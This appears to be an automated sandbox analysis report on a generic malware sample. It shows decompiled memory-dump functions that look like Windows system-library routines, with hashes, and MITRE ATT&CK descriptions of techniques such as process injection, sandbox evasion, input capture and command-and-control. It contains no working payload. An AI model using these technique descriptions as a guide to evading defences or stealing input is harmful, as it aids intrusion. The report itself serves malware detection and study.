				signed char _t145;
				signed char _t146;
				void* _t154;
				signed int _t155;
				void* _t156;
				signed int _t160;
				signed int _t164;
				void* _t165;
				signed int _t172;
				signed int _t174;

				_push(__ecx);
				_push(__ecx);
				_t105 = __edx;
				_t154 = __ecx;
				_t160 =  *__edx ^ __edx;
				_t141 =  *(__edx + 4) ^ __edx;
				if(( *(_t160 + 4) ^ _t160) != __edx || ( *_t141 ^ _t141) != __edx) {
					_t114 = 3;
					asm("int 0x29");
					_t174 = (_t172 & 0xfffffff8) - 0x24;
					_t62 =  *0x1e1ed360 ^ _t174;
					_v32 = _t62;
					_push(_t105);
					_push(_t160);
					_t106 = _t114;
					_t115 = _v20;
					_push(_t154);
					_t155 = _t141;
					_t142 = _v16;
					__eflags = _t115;
					if(__eflags != 0) {
						asm("bsf esi, ecx");
					} else {
						asm("bsf esi, edx");
						_t62 = (_t62 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff;
						__eflags = _t62;
						if(_t62 == 0) {
							_t160 = _v44;
						} else {
							_t160 = _t160 + 0x20;
						}
					}
					__eflags = _t142;
					if(__eflags == 0) {
						asm("bsr eax, ecx");
					} else {
						asm("bsr ecx, edx");
						if(__eflags == 0) {
							_t62 = _v44;
						} else {
							_t27 = _t115 + 0x20; // 0x20
							_t62 = _t27;
						}
					}
					_v56 = (_t160 << 0xc) + _t155;
					_v60 = _t62 - _t160 + 1 << 0xc;
					_t71 = E1E13D0F0(1, _t62 - _t160 + 1, 0);
					asm("adc edx, 0xffffffff");
					_v52 = E1E13D0F0(_t71 + 0xffffffff, _t160, 0);
					_v48 = 0;
					_v44 = _t155 + 0x10;
					E1E112280(_t155 + 0x10, _t155 + 0x10);
					__eflags = _a12;
					_push(_v64);
					_push(_v60);
					_push( *((intOrPtr*)(_t106 + 0x20)));
					if(_a12 == 0) {
						 *0x1e1eb1e0();
						 *( *(_t106 + 0x30) ^  *0x1e1e6110 ^ _t106)();
						 *(_t155 + 0xc) =  *(_t155 + 0xc) &  !_v60;
						_t54 = _t155 + 8;
						 *_t54 =  *(_t155 + 8) &  !_v64;
						__eflags =  *_t54;
						goto L18;
					} else {
						 *0x1e1eb1e0();
						_t164 =  *( *(_t106 + 0x2c) ^  *0x1e1e6110 ^ _t106)();
						__eflags = _t164;
						if(_t164 >= 0) {
							 *(_t155 + 8) =  *(_t155 + 8) | _v64;
							 *(_t155 + 0xc) =  *(_t155 + 0xc) | _v60;
							L18:
							asm("lock xadd [eax], ecx");
							_t164 = 0;
							__eflags = 0;
						}
					}
					E1E10FFB0(_t106, _t155, _v56);
					_pop(_t156);
					_pop(_t165);
					_pop(_t107);
					__eflags = _v48 ^ _t174;
					return E1E13B640(_t164, _t107, _v48 ^ _t174, 0, _t156, _t165);
				} else {
					_t94 = _t141 ^ _t160;
					 *_t141 = _t94;
					 *(_t160 + 4) = _t94;
					_t145 =  !( *(__edx + 8));
					_t146 = _t145 >> 8;
					_v12 = _t146 >> 8;
					_v5 =  *((intOrPtr*)((_t145 & 0x000000ff) + 0x1e0dac00)) +  *((intOrPtr*)((_t146 & 0x000000ff) + 0x1e0dac00));
					asm("lock xadd [eax], edx");
					return __ecx + 0x18;
				}
			}

0x1e1c2efc
0x1e1c2efd
0x1e1c2eff
0x1e1c2f03
0x1e1c2f0a
0x1e1c2f0c
0x1e1c2f15
0x1e1c2fba
0x1e1c2fbb
0x1e1c2fc5
0x1e1c2fcd
0x1e1c2fcf
0x1e1c2fd3
0x1e1c2fd4
0x1e1c2fd5
0x1e1c2fd7
0x1e1c2fda
0x1e1c2fdb
0x1e1c2fdd
0x1e1c2fe0
0x1e1c2fe2
0x1e1c2ffc
0x1e1c2fe4
0x1e1c2fe4
0x1e1c2fea
0x1e1c2fed
0x1e1c2fef
0x1e1c2ff6
0x1e1c2ff1
0x1e1c2ff1
0x1e1c2ff1
0x1e1c2fef
0x1e1c2fff
0x1e1c3001
0x1e1c301b
0x1e1c3003
0x1e1c3003
0x1e1c300e
0x1e1c3015
0x1e1c3010
0x1e1c3010
0x1e1c3010
0x1e1c3010
0x1e1c300e
0x1e1c302c
0x1e1c3035
0x1e1c303c
0x1e1c3046
0x1e1c304e
0x1e1c3056
0x1e1c305a
0x1e1c305e
0x1e1c3063
0x1e1c3067
0x1e1c306b
0x1e1c306f
0x1e1c3072
0x1e1c30af
0x1e1c30b5
0x1e1c30c1
0x1e1c30c9
0x1e1c30c9
0x1e1c30c9
0x00000000
0x1e1c3074
0x1e1c3081
0x1e1c3089
0x1e1c308b
0x1e1c308d
0x1e1c3093
0x1e1c309a
0x1e1c30ce
0x1e1c30d1
0x1e1c30d5
0x1e1c30d5
0x1e1c30d5
0x1e1c308d
0x1e1c30db
0x1e1c30e6
0x1e1c30e7
0x1e1c30e8
0x1e1c30e9
0x1e1c30f3
0x1e1c2f27
0x1e1c2f29
0x1e1c2f2b
0x1e1c2f2d
0x1e1c2f36
0x1e1c2f3d
0x1e1c2f4c
0x1e1c2f58
0x1e1c2fad
0x1e1c2fb7
0x1e1c2fb7

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f043c82e470b1b5243bf8a265781456d70d8299fc7d413c7ed2c5b85f5c20d7
Instruction ID: 6c0d706950bf54186ea43e3c276f23a29bd5a879a30fc840e232dbdcd168bda8
Opcode Fuzzy Hash: 8f043c82e470b1b5243bf8a265781456d70d8299fc7d413c7ed2c5b85f5c20d7
Instruction Fuzzy Hash: 7821B4712042904FD709CF1AC8A05B6BFF5FFCA12235691F6E984EF742C5249896C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 1E1C1FF1, Relevance: .1, Instructions: 70
COMMONCrypto

Download Yara Rule

C-Code - Quality: 77%

			E1E1C1FF1(void* __ecx, intOrPtr __edx, signed int _a4) {
				intOrPtr _v8;
				signed int _t22;
				signed int _t34;
				signed int _t38;
				signed int _t41;
				signed int _t42;
				signed int _t44;
				signed int _t54;
				signed int _t55;

				_t44 = _a4;
				_v8 = __edx;
				_t3 = _t44 + 0x1007; // 0x1007
				_t41 = _t3 & 0xfffff000;
				_t54 = ( *_t44 ^  *0x1e1e6110 ^ _t44) >> 0x00000001 & 0x00007fff;
				if(_t41 - _t44 < _t54 << 3) {
					_t42 = _t41 + 0xfffffff0;
					_t34 = _t42 - _t44 >> 3;
					_t55 = _t54 - _t34;
					 *_t44 =  *_t44 ^ (_t34 + _t34 ^  *_t44 ^  *0x1e1e6110 ^ _t44) & 0x0000fffe;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_t22 = ((_t34 & 0x00007fff) << 0x0000000f | _t55 & 0x00007fff) + ((_t34 & 0x00007fff) << 0x0000000f | _t55 & 0x00007fff);
					 *_t42 = _t22;
					_t38 = _t42 + _t55 * 8;
					 *_t42 = _t22 ^  *0x1e1e6110 ^ _t42;
					if(_t38 < _v8 + (( *(_v8 + 0x14) & 0x0000ffff) + 3) * 8) {
						 *_t38 =  *_t38 ^ (_t55 << 0x00000010 ^  *0x1e1e6110 ^ _t38 ^  *_t38) & 0x7fff0000;
					}
				} else {
					_t42 = 0;
				}
				return _t42;
			}

0x1e1c1ff9
0x1e1c1ffc
0x1e1c2001
0x1e1c200d
0x1e1c201b
0x1e1c2028
0x1e1c202e
0x1e1c2035
0x1e1c2038
0x1e1c204c
0x1e1c2052
0x1e1c2053
0x1e1c2054
0x1e1c2055
0x1e1c2069
0x1e1c206c
0x1e1c206e
0x1e1c2079
0x1e1c2087
0x1e1c209c
0x1e1c209c
0x1e1c202a
0x1e1c202a
0x1e1c202a
0x1e1c20a5

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c4761cf71a35ba8aa676fe304ea52ebe4b1261a94d7fd4ee311e8c9ef86ebb
Instruction ID: b731ea85d03000e9a16c62dbbf1cfef543ffd850e32f21b07b4eea0096719b2f
Opcode Fuzzy Hash: 76c4761cf71a35ba8aa676fe304ea52ebe4b1261a94d7fd4ee311e8c9ef86ebb
Instruction Fuzzy Hash: 8021A533A108259BD719CF7CC8055AAF7E6EFCD21036A467BD816DB255DA70BD11C680

Uniqueness

Uniqueness Score: -1.00%

Function 1E10841F, Relevance: .1, Instructions: 64
COMMONCrypto

Download Yara Rule

C-Code - Quality: 80%

			E1E10841F(signed int __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _t43;
				signed int _t46;
				signed int _t50;
				signed int _t57;
				signed int _t64;

				_v16 = __ecx;
				_t43 =  *0x7ffe0004;
				_v8 = _t43;
				_t57 =  *0x7ffe0014 ^  *( *[fs:0x18] + 0x24) ^  *( *[fs:0x18] + 0x20) ^  *0x7ffe0018;
				_v12 = 0x7ffe0014;
				if(_t43 < 0x1000000) {
					while(1) {
						_t46 =  *0x7ffe0324;
						_t50 =  *0x7FFE0320;
						if(_t46 ==  *0x7FFE0328) {
							break;
						}
						asm("pause");
					}
					_t57 = _v12;
					_t64 = ((_t50 * _v8 >> 0x00000020 << 0x00000020 | _t50 * _v8) >> 0x18) + (_t46 << 8) * _v8;
				} else {
					_t64 = ( *0x7ffe0320 * _t43 >> 0x00000020 << 0x00000020 | 0x7ffe0320 * _t43) >> 0x18;
				}
				_push(0);
				_push( &_v24);
				E1E139810();
				return _t64 ^ _v20 ^ _v24 ^ _t57 ^ _v16;
			}

0x1e10842f
0x1e108448
0x1e10844e
0x1e108459
0x1e10845b
0x1e108464
0x1e159ac3
0x1e159ac3
0x1e159ac5
0x1e159acb
0x00000000
0x00000000
0x1e159acd
0x1e159acd
0x1e159ad1
0x1e159ae9
0x1e10846a
0x1e108475
0x1e108479
0x1e10847c
0x1e108481
0x1e108482
0x1e10849a

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ac1e4b842af79e23be26fd2b4bf9cab7c83af8bb38cd4daac8e95d5517faf3
Instruction ID: df51c397b43a02d86f29cf7a9328a440fee79f4f34d323715f6337d33ba3469d
Opcode Fuzzy Hash: 63ac1e4b842af79e23be26fd2b4bf9cab7c83af8bb38cd4daac8e95d5517faf3
Instruction Fuzzy Hash: 8D216076E00119DBCB14CFA9C98068AF3F6FB88360F664565E958B7744C630AE44CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 1E12645B, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
timeCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E1E12645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t50;
				intOrPtr* _t52;
				char _t56;
				void* _t69;
				char _t72;
				void* _t73;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t82;
				void* _t84;
				intOrPtr _t86;
				void* _t88;
				signed int _t90;
				signed int _t92;
				signed int _t93;

				_t80 = __edx;
				_t92 = (_t90 & 0xfffffff8) - 0x4c;
				_v8 =  *0x1e1ed360 ^ _t92;
				_t72 = 0;
				_v72 = __edx;
				_t82 = __ecx;
				_t86 =  *((intOrPtr*)(__edx + 0xc8));
				_v68 = _t86;
				E1E13FA60( &_v60, 0, 0x30);
				_t48 =  *((intOrPtr*)(_t82 + 0x70));
				_t93 = _t92 + 0xc;
				_v76 = _t48;
				_t49 = _t48;
				if(_t49 == 0) {
					_push(5);
					 *((char*)(_t82 + 0x6a)) = 0;
					 *((intOrPtr*)(_t82 + 0x6c)) = 0;
					goto L3;
				} else {
					_t69 = _t49 - 1;
					if(_t69 != 0) {
						if(_t69 == 1) {
							_push(0xa);
							goto L3;
						} else {
							_t56 = 0;
						}
					} else {
						_push(4);
						L3:
						_pop(_t50);
						_v80 = _t50;
						if(_a4 == _t72 && _t86 != 0 && _t50 != 0xa &&  *((char*)(_t82 + 0x6b)) == 1) {
							E1E112280(_t50, _t86 + 0x1c);
							_t79 = _v72;
							 *((intOrPtr*)(_t79 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
							 *((intOrPtr*)(_t79 + 0x88)) =  *((intOrPtr*)(_t82 + 0x68));
							 *((intOrPtr*)(_t79 + 0x8c)) =  *((intOrPtr*)(_t82 + 0x6c));
							 *((intOrPtr*)(_t79 + 0x90)) = _v80;
							 *((intOrPtr*)(_t79 + 0x20)) = _t72;
							E1E10FFB0(_t72, _t82, _t86 + 0x1c);
						}
						_t75 = _v80;
						_t52 =  *((intOrPtr*)(_v72 + 0x20));
						_t80 =  *_t52;
						_v72 =  *((intOrPtr*)(_t52 + 4));
						_v52 =  *((intOrPtr*)(_t82 + 0x68));
						_v60 = 0x30;
						_v56 = _t75;
						_v48 =  *((intOrPtr*)(_t82 + 0x6c));
						asm("movsd");
						_v76 = _t80;
						_v64 = 0x30;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						if(_t80 != 0) {
							 *0x1e1eb1e0(_t75, _v72,  &_v64,  &_v60);
							_t72 = _v76();
						}
						_t56 = _t72;
					}
				}
				_pop(_t84);
				_pop(_t88);
				_pop(_t73);
				return E1E13B640(_t56, _t73, _v8 ^ _t93, _t80, _t84, _t88);
			}

0x1e12645b
0x1e126463
0x1e12646d
0x1e126475
0x1e12647a
0x1e12647e
0x1e126480
0x1e12648c
0x1e126490
0x1e126495
0x1e126498
0x1e12649b
0x1e12649f
0x1e1264a1
0x1e167c07
0x1e167c09
0x1e167c0c
0x00000000
0x1e1264a7
0x1e1264a7
0x1e1264aa
0x1e167bf7
0x1e167c00
0x00000000
0x1e167bf9
0x1e167bf9
0x1e167bf9
0x1e1264b0
0x1e1264b0
0x1e1264b2
0x1e1264b2
0x1e1264b3
0x1e1264ba
0x1e126553
0x1e12655e
0x1e126566
0x1e12656c
0x1e126575
0x1e12657f
0x1e126585
0x1e126588
0x1e126588
0x1e1264c7
0x1e1264cb
0x1e1264ce
0x1e1264d3
0x1e1264da
0x1e1264e5
0x1e1264ed
0x1e1264f1
0x1e1264f5
0x1e1264f6
0x1e1264fa
0x1e126502
0x1e126503
0x1e126504
0x1e126507
0x1e12651a
0x1e126524
0x1e126524
0x1e126526
0x1e126526
0x1e1264aa
0x1e12652c
0x1e12652d
0x1e12652e
0x1e126539

APIs

RtlDebugPrintTimes.NTDLL ref: 1E12651A

Strings

0, xrefs: 1E1264FA
0, xrefs: 1E1264E5

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: 2884ebc9e04febe96b998997b58f5642dfabc3c2f2216caf988b5e0994787619
Instruction ID: e84321f9591cdccf0075631eedefd01b296e3c438d160f2e6f4fe9533e61f099
Opcode Fuzzy Hash: 2884ebc9e04febe96b998997b58f5642dfabc3c2f2216caf988b5e0994787619
Instruction Fuzzy Hash: 67416EB1A047469FC301CF28C984A56BBE5BB8D714F504A2EF488DB340D771EA85CB86

Uniqueness

Uniqueness Score: -1.00%

Function 1E18FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E1E18FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E1E13CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E1E185720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E1E185720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x1e18fdda
0x1e18fde2
0x1e18fde5
0x1e18fdec
0x1e18fdfa
0x1e18fdff
0x1e18fe0a
0x1e18fe0f
0x1e18fe17
0x1e18fe1e
0x1e18fe19
0x1e18fe19
0x1e18fe19
0x1e18fe20
0x1e18fe21
0x1e18fe22
0x1e18fe25
0x1e18fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1E18FDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 1E18FE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 1E18FE2B

Memory Dump Source

Source File: 00000009.00000002.479050580.000000001E0D0000.00000040.00000001.sdmp, Offset: 1E0D0000, based on PE: true

Associated: 00000009.00000002.479278835.000000001E1EB000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.479287601.000000001E1EF000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 0e91137421ca9b701d80422576089bdaff2893995e90ad0fc812ca56fafee3d2
Instruction ID: 3737f23ead4e1375dc09f71660c9fb25dfd3b1a9fb547bf118eae245606399ff
Opcode Fuzzy Hash: 0e91137421ca9b701d80422576089bdaff2893995e90ad0fc812ca56fafee3d2
Instruction Fuzzy Hash: 76F0F636500541BFD6204A46DC02F63BF5AEB44770F254315F668566D1DB62F8A08AF0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report SecuriteInfo.com.Mal.Generic-S.24480.13627

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

Function 0041609D, Relevance: 70.3, APIs: 34, Strings: 6, Instructions: 305
COMMON

Function 004168CA, Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 306
COMMON

Function 0042193C, Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 169
COMMON